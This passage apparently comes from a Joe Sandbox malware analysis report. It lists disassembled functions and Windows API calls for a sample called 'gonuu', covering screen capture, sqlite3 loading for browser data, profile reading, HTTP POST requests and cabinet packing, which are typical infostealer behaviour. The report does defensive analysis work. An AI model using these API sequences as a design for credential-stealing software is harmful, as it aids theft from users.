    • GetProcAddress.KERNEL32(00000001,CreateCompatibleBitmap), ref: 00417CB8
    • GetProcAddress.KERNEL32(00000001,GetDeviceCaps), ref: 00417CC5
    • GetProcAddress.KERNEL32(00000001,SelectObject), ref: 00417CD2
    • GetProcAddress.KERNEL32(00000001,BitBlt), ref: 00417CDF
    • GetProcAddress.KERNEL32(00000001,DeleteObject), ref: 00417CEC
    • GetProcAddress.KERNEL32(00000001,DeleteDC), ref: 00417CF9
    • LoadImageW.USER32(00000000,00007F00,00000002,00000000,00000000,00008040), ref: 00417D9D
    • GetIconInfo.USER32(?,?), ref: 00417DB2
    • GetCursorPos.USER32(?), ref: 00417DC0
    • DrawIcon.USER32(?,?,?,?), ref: 00417E91
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • lstrcmpiW.KERNEL32(?,?), ref: 00417F13
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    • FreeLibrary.KERNEL32(00000000), ref: 00418030
    • FreeLibrary.KERNEL32(?), ref: 0041803A
    • FreeLibrary.KERNEL32(00000001), ref: 00418044
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00414383, Relevance: 52.8, APIs: 29, Strings: 1, Instructions: 308
    APIs
      • Part of subcall function 0042B77C: GetClassNameW.USER32(?,?,00000101), ref: 0042B797
    • GetWindowInfo.USER32(?,?), ref: 004143EF
    • IntersectRect.USER32(?,?), ref: 00414412
    • IntersectRect.USER32(?,?), ref: 00414468
    • GetDC.USER32(00000000), ref: 004144AC
    • CreateCompatibleDC.GDI32 ref: 004144BD
    • ReleaseDC.USER32(00000000), ref: 004144C7
    • SelectObject.GDI32(?,?), ref: 004144DC
    • DeleteDC.GDI32 ref: 004144EA
    • TlsSetValue.KERNEL32(?), ref: 00414535
    • EqualRect.USER32(?,?), ref: 0041454F
    • SaveDC.GDI32 ref: 0041455A
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00414575
    • SendMessageW.USER32(?,00000085,00000001,00000000), ref: 00414595
    • DefWindowProcW.USER32(?,00000317,?,00000002), ref: 004145A7
    • RestoreDC.GDI32(?,?), ref: 004145BE
    • SaveDC.GDI32 ref: 004145E0
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 004145F6
    • SendMessageW.USER32(?,00000014,?,00000000), ref: 0041460F
    • RestoreDC.GDI32(?,?), ref: 0041461D
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00414630
    • SendMessageW.USER32(?,0000000F,00000000,00000000), ref: 00414640
    • DefWindowProcW.USER32(?,00000317,?,00000004), ref: 00414652
    • TlsSetValue.KERNEL32(00000000), ref: 0041466C
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 0041468C
    • DefWindowProcW.USER32(00000004,00000317,?,0000000E), ref: 004146A8
    • SelectObject.GDI32(?,?), ref: 004146BE
    • DeleteDC.GDI32 ref: 004146C5
    • SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 004146ED
      • Part of subcall function 004142A1: GdiFlush.GDI32 ref: 004142F8
    • PrintWindow.USER32(00000008,?,00000000), ref: 00414703
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 00401090, Relevance: 33.0, APIs: 22, Instructions: 49
    APIs
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0042B7E3, Relevance: 31.7, APIs: 17, Strings: 1, Instructions: 207
    APIs
    • TlsAlloc.KERNEL32(?,004345C0,00000000), ref: 0042B7FD
    • RegisterWindowMessageW.USER32(?,00000011,?,00000000,?,004345C0,00000000), ref: 0042B824
    • CreateEventW.KERNEL32(00432AFC,00000001,00000000,?), ref: 0042B84B
    • CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 0042B86B
    • CreateFileMappingW.KERNEL32(00000000,00432AFC,00000004,00000000,03D09128,?), ref: 0042B893
    • MapViewOfFile.KERNEL32(?,00000002,00000000,00000000,00000000), ref: 0042B8A9
    • GetDC.USER32(00000000), ref: 0042B8C6
    • GetDeviceCaps.GDI32(?,00000008), ref: 0042B8E6
    • GetDeviceCaps.GDI32(00000000,0000000A), ref: 0042B8F0
    • CreateCompatibleBitmap.GDI32(00000000,?), ref: 0042B8FD
      • Part of subcall function 0041FA1C: GetDIBits.GDI32(004345C0,00000002,00000000,00000001,00000000,?,00000000), ref: 0041FA54
      • Part of subcall function 0041FA1C: GetDIBits.GDI32(004345C0,00000002,00000000,00000001,00000000,?,00000000), ref: 0041FA6A
      • Part of subcall function 0041FA1C: DeleteObject.GDI32(00000002), ref: 0041FA77
      • Part of subcall function 0041FA1C: CreateDIBSection.GDI32(004345C0,?,00000000,00000000,00000000,00000000), ref: 0041FAE7
      • Part of subcall function 0041FA1C: DeleteObject.GDI32(00000002), ref: 0041FB06
    • ReleaseDC.USER32(00000000,00000000), ref: 0042B925
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    • CreateMutexW.KERNEL32(00432AFC,00000000,?), ref: 0042B9C9
    • GetDC.USER32(00000000), ref: 0042B9DE
    • CreateCompatibleDC.GDI32 ref: 0042B9EB
    • CreateCompatibleBitmap.GDI32(?,00000001,00000001), ref: 0042BA00
    • SelectObject.GDI32(?), ref: 0042BA17
    • ReleaseDC.USER32(00000000), ref: 0042BA2D
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040755C, Relevance: 28.2, APIs: 14, Strings: 2, Instructions: 197
    APIs
    • GetModuleHandleW.KERNEL32(?), ref: 00407588
    • GetModuleHandleW.KERNEL32(00000000), ref: 004075A8
    • GetModuleHandleW.KERNEL32(?), ref: 00407667
    • GetProcAddress.KERNEL32(?), ref: 0040771E
    • GetProcAddress.KERNEL32(?), ref: 0040772F
    • GetProcAddress.KERNEL32(?), ref: 00407743
    • GetProcAddress.KERNEL32(?), ref: 00407754
    • GetProcAddress.KERNEL32 ref: 00407765
    • GetProcAddress.KERNEL32(?), ref: 00407776
    • GetProcAddress.KERNEL32(?), ref: 00407787
    • GetProcAddress.KERNEL32(?), ref: 00407798
    • GetProcAddress.KERNEL32(?), ref: 004077A9
    • GetProcAddress.KERNEL32(?), ref: 004077BA
    • GetProcAddress.KERNEL32(?), ref: 004077CA
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040A266, Relevance: 26.7, APIs: 7, Strings: 8, Instructions: 460
    APIs
    • OpenPrinterW.WINSPOOL.DRV ref: 0040A266
    • ClosePrinter.WINSPOOL.DRV ref: 0040A26B
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00409065, Relevance: 24.6, APIs: 8, Strings: 6, Instructions: 137
    APIs
      • Part of subcall function 0041D9C8: GetTempPathW.KERNEL32(000000F6,?), ref: 0041D9DF
      • Part of subcall function 0041A3FB: WaitForSingleObject.KERNEL32(?,?), ref: 0041A44F
      • Part of subcall function 0041A3FB: Sleep.KERNEL32(?), ref: 0041A462
      • Part of subcall function 0041A3FB: InternetCloseHandle.WININET ref: 0041A4E8
    • LoadLibraryW.KERNEL32(msvcrt.dll), ref: 00409176
    • LoadLibraryW.KERNEL32(?), ref: 00409184
    • GetProcAddress.KERNEL32(?,sqlite3_close), ref: 004091AA
    • GetProcAddress.KERNEL32(?,sqlite3_exec), ref: 004091B6
    • GetProcAddress.KERNEL32(?,sqlite3_free), ref: 004091C2
    • GetProcAddress.KERNEL32(?,sqlite3_open16), ref: 004091CE
      • Part of subcall function 00408C09: SHGetFolderPathW.SHELL32(00000000,0000001A,00000000,00000000,?), ref: 00408C30
      • Part of subcall function 00408C09: GetFileAttributesW.KERNEL32(?), ref: 00408C84
      • Part of subcall function 00408C09: GetPrivateProfileIntW.KERNEL32(?,?,000000FF,?), ref: 00408CE7
      • Part of subcall function 00408C09: GetPrivateProfileStringW.KERNEL32(?,00000000,00000000,?,00000104,?), ref: 00408D15
    • FreeLibrary.KERNEL32(?), ref: 00409230
    • FreeLibrary.KERNEL32(?), ref: 00409236
      • Part of subcall function 0041D955: SetFileAttributesW.KERNEL32(?,00000080), ref: 0041D95E
      • Part of subcall function 0041D955: DeleteFileW.KERNEL32(?), ref: 0041D968
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040A2F2, Relevance: 23.2, APIs: 6, Strings: 7, Instructions: 408
    APIs
    • CreateFileMappingW.KERNEL32 ref: 0040A2F2
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040A3CB, Relevance: 23.1, APIs: 6, Strings: 7, Instructions: 373
    APIs
    • GetUserDefaultUILanguage.KERNEL32 ref: 0040A3CB
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040A500, Relevance: 23.1, APIs: 7, Strings: 6, Instructions: 326
    APIs
    • GetLocaleInfoW.KERNEL32 ref: 0040A500
    • OpenClipboard.USER32 ref: 0040A506
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040E4D3, Relevance: 23.1, APIs: 9, Strings: 4, Instructions: 321
    APIs
    • GetClientRect.USER32 ref: 0040E4D3
    • SetAbortProc.GDI32 ref: 0040E4D9
    • GetCommandLineW.KERNEL32 ref: 0040E4DF
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040E51D
    • MapAndLoad.IMAGEHLP(cqns,R5FF,?,00000000,00000000), ref: 0040E7AE
    • MapAndLoad.IMAGEHLP(f508cUFT,NiX,?,00000000,00000000), ref: 0040EA33
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EB02
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 004224CC, Relevance: 22.9, APIs: 10, Strings: 3, Instructions: 181
    APIs
      • Part of subcall function 0041CF9B: InternetCrackUrlA.WININET(?,00000000,00000000,?), ref: 0041CFC9
    • InternetOpenA.WININET(00000000,00000000,00000000,00000000,?), ref: 004224FA
    • InternetConnectA.WININET(?,?,?,00000000,00000000,00000003,00000000,00000000), ref: 00422518
    • HttpOpenRequestA.WININET(?,POST,?,HTTP/1.1,?,00000000,?,00000000), ref: 00422563
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,A0000000), ref: 004225B8
      • Part of subcall function 00418130: HeapAlloc.KERNEL32(00000008,?,0041C881), ref: 00418141
    • HttpAddRequestHeadersA.WININET(?,?,000000FF,A0000000), ref: 0042262C
    • HttpSendRequestA.WININET(?,00000000,00000000,?,?), ref: 0042264E
    • HttpQueryInfoA.WININET(?,20000013,?,?,00000000), ref: 00422672
      • Part of subcall function 0041A61A: InternetQueryOptionA.WININET(00000003,00000022,00000000), ref: 0041A62E
      • Part of subcall function 0041A61A: GetLastError.KERNEL32(?,?,?,0042268F,?,?,20000013,?,?,00000000,?,00000000,00000000,?,?), ref: 0041A638
      • Part of subcall function 0041A61A: InternetQueryOptionA.WININET(00000003,00000022), ref: 0041A658
    • InternetCloseHandle.WININET ref: 004226B5
    • InternetCloseHandle.WININET(?), ref: 004226BE
    • InternetCloseHandle.WININET(?), ref: 004226C7
      • Part of subcall function 00418160: HeapFree.KERNEL32(00000000,00000000,0042C62F,?,?), ref: 00418173
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0042BEC4, Relevance: 22.6, APIs: 15, Instructions: 132
    APIs
    • GetMenu.USER32(?), ref: 0042BEEE
    • GetMenuItemCount.USER32 ref: 0042BF04
    • GetMenuState.USER32(?,00000000,00000400), ref: 0042BF1C
    • HiliteMenuItem.USER32(?,?,00000000,00000400), ref: 0042BF2C
    • MenuItemFromPoint.USER32(?,?,?,?), ref: 0042BF52
    • GetMenuState.USER32(?,?,00000400), ref: 0042BF66
    • EndMenu.USER32 ref: 0042BF76
    • HiliteMenuItem.USER32(?,?,?,00000480), ref: 0042BF86
    • GetSubMenu.USER32 ref: 0042BFAA
    • GetMenuItemRect.USER32(?,?,?,?), ref: 0042BFC4
    • TrackPopupMenuEx.USER32(?,00004000,?,?,?,00000000), ref: 0042BFE5
    • GetMenuItemID.USER32 ref: 0042BFFD
    • SendMessageW.USER32(?,00000111,?,00000000), ref: 0042C016
      • Part of subcall function 00414383: GetWindowInfo.USER32(?,?), ref: 004143EF
      • Part of subcall function 00414383: IntersectRect.USER32(?,?), ref: 00414412
      • Part of subcall function 00414383: IntersectRect.USER32(?,?), ref: 00414468
      • Part of subcall function 00414383: GetDC.USER32(00000000), ref: 004144AC
      • Part of subcall function 00414383: CreateCompatibleDC.GDI32 ref: 004144BD
      • Part of subcall function 00414383: ReleaseDC.USER32(00000000), ref: 004144C7
      • Part of subcall function 00414383: SelectObject.GDI32(?,?), ref: 004144DC
      • Part of subcall function 00414383: DeleteDC.GDI32 ref: 004144EA
      • Part of subcall function 00414383: TlsSetValue.KERNEL32(?), ref: 00414535
      • Part of subcall function 00414383: EqualRect.USER32(?,?), ref: 0041454F
      • Part of subcall function 00414383: SaveDC.GDI32 ref: 0041455A
      • Part of subcall function 00414383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00414575
      • Part of subcall function 00414383: SendMessageW.USER32(?,00000085,00000001,00000000), ref: 00414595
      • Part of subcall function 00414383: DefWindowProcW.USER32(?,00000317,?,00000002), ref: 004145A7
      • Part of subcall function 00414383: RestoreDC.GDI32(?,?), ref: 004145BE
      • Part of subcall function 00414383: SaveDC.GDI32 ref: 004145E0
      • Part of subcall function 00414383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 004145F6
      • Part of subcall function 00414383: SendMessageW.USER32(?,00000014,?,00000000), ref: 0041460F
      • Part of subcall function 00414383: RestoreDC.GDI32(?,?), ref: 0041461D
      • Part of subcall function 00414383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 00414630
      • Part of subcall function 00414383: SendMessageW.USER32(?,0000000F,00000000,00000000), ref: 00414640
      • Part of subcall function 00414383: DefWindowProcW.USER32(?,00000317,?,00000004), ref: 00414652
      • Part of subcall function 00414383: TlsSetValue.KERNEL32(00000000), ref: 0041466C
      • Part of subcall function 00414383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 0041468C
      • Part of subcall function 00414383: DefWindowProcW.USER32(00000004,00000317,?,0000000E), ref: 004146A8
      • Part of subcall function 00414383: SelectObject.GDI32(?,?), ref: 004146BE
      • Part of subcall function 00414383: DeleteDC.GDI32 ref: 004146C5
      • Part of subcall function 00414383: SetViewportOrgEx.GDI32(?,?,?,00000000), ref: 004146ED
      • Part of subcall function 00414383: PrintWindow.USER32(00000008,?,00000000), ref: 00414703
    • SetKeyboardState.USER32 ref: 0042C055
    • SetEvent.KERNEL32 ref: 0042C061
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040A3B6, Relevance: 21.4, APIs: 5, Strings: 7, Instructions: 376
    APIs
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040A46F, Relevance: 21.3, APIs: 5, Strings: 7, Instructions: 348
    APIs
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040A661, Relevance: 21.3, APIs: 7, Strings: 5, Instructions: 271
    APIs
    • wsprintfW.USER32 ref: 0040A661
    • LocalReAlloc.KERNEL32 ref: 0040A667
    • GetCurrentProcess.KERNEL32 ref: 0040A66D
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040E770, Relevance: 21.2, APIs: 8, Strings: 4, Instructions: 242
    APIs
    • GetLocalTime.KERNEL32 ref: 0040E770
    • MapViewOfFile.KERNEL32 ref: 0040E776
    • GetObjectW.GDI32 ref: 0040E77C
    • MapAndLoad.IMAGEHLP(cqns,R5FF,?,00000000,00000000), ref: 0040E7AE
    • MapAndLoad.IMAGEHLP(f508cUFT,NiX,?,00000000,00000000), ref: 0040EA33
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EB02
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0041C249, Relevance: 21.1, APIs: 7, Strings: 5, Instructions: 52
    APIs
    • LoadLibraryA.KERNEL32(cabinet.dll), ref: 0041C25D
    • GetProcAddress.KERNEL32(?,FCICreate), ref: 0041C27D
    • GetProcAddress.KERNEL32(FCIAddFile), ref: 0041C28F
    • GetProcAddress.KERNEL32(FCIFlushCabinet), ref: 0041C2A1
    • GetProcAddress.KERNEL32(FCIDestroy), ref: 0041C2B3
    • HeapCreate.KERNEL32(00000000,00080000,00000000), ref: 0041C2DE
    • FreeLibrary.KERNEL32(FCICreate), ref: 0041C2F3
    Strings
    Memory Dump Source
    • Source File: 00000006.00000002.642521198.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000002.642515637.00400000.00000002.sdmp
    • Associated: 00000006.00000002.642548033.00432000.00000004.sdmp
    • Associated: 00000006.00000002.642554041.00435000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_2_gonuu.1.jbxd
    Function 0040A5E2, Relevance: 19.5, APIs: 5, Strings: 6, Instructions: 290
    APIs
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040A61A
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040A8C9
    • RegUnLoadKeyA.ADVAPI32(00000000,?), ref: 0040ACBC
    • MapAndLoad.IMAGEHLP(c78qIv7,F5V,?,00000000,00000000), ref: 0040AD04
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040ADF5
    • MapAndLoad.IMAGEHLP(ar96,Pt8hK8o,?,00000000,00000000), ref: 0040B0E2
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 0040E65C, Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 262
    APIs
    • WinHelpW.USER32 ref: 0040E65C
    • LocalAlloc.KERNEL32 ref: 0040E662
    • MapAndLoad.IMAGEHLP(cqns,R5FF,?,00000000,00000000), ref: 0040E7AE
    • MapAndLoad.IMAGEHLP(f508cUFT,NiX,?,00000000,00000000), ref: 0040EA33
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EB02
    • RegUnLoadKeyW.ADVAPI32(00000000,?), ref: 0040EC3E
    • IsBadStringPtrW.KERNEL32(?,00000201), ref: 0040EDF8
    Strings
    Memory Dump Source
    • Source File: 00000006.00000000.632613155.00401000.00000020.sdmp, Offset: 00400000, based on PE: true
    • Associated: 00000006.00000000.632607199.00400000.00000002.sdmp
    • Associated: 00000006.00000000.632633372.00426000.00000002.sdmp
    • Associated: 00000006.00000000.632648839.00439000.00000008.sdmp
    • Associated: 00000006.00000000.632836632.005A4000.00000002.sdmp
    Joe Sandbox IDA Plugin
    • Snapshot File: hcaresult_6_0_gonuu.jbxd
    Function 00413EEF, Relevance: 19.5, APIs: 7, Strings: 4, Instructions: 239
    APIs
    • GetDlgCtrlID.USER32 ref: 00413EEF
    • SetMapMode.GDI32 ref: 00413EF5
    • DefWindowProcW.USER32 ref: 00413EFB
    • MapAndLoad.IMAGEHLP(K56rY,D3k3Ebl,?,00000000,00000000), ref: 004141DE
